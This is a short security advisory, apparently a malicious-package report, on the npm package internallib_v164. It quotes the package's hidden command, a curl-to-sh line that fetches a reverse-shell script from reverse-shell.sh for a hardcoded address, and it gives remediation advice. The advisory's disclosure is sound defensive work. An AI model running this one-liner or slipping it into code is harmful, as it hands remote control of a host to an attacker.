Summary
Malicious code in internallib_v164 (npm)
Details
index.js exports a function that runs `/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444 | sh"`, fetching a reverse-shell script from reverse-shell.sh templated with the hardcoded target 10.0.72.234:4444 and piping it to sh. When a consumer requires the package and invokes the exported command, the installer's host opens an outbound interactive shell to that address, giving the remote party arbitrary code execution and persistent interactive access. The destination is an RFC1918 address, consistent with an internal-network attacker target.

All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
